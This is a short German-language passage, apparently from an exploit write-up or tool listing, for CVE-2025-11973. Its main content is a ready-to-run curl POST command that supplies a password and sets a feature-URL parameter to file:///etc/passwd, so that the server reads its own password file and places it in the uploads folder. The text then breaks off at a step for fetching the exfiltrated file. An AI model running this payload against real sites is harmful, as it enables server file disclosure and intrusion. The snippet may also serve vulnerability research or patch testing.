CVE-2025-11973

Auslöser: /etc/passwd über file:// auslesen und in Uploads exfiltrieren root@kitploit: curl -sS -A "$UA" -X POST "$BASE/?kdsflag=post" \ --data-urlencode "kdspassword=$SECRET" \ --data-urlencode "posttitle=sub1-lfi" \ --data-urlencode "kdsfeatureurl=file:///etc/passwd" Exfiltrierte Datei abrufen...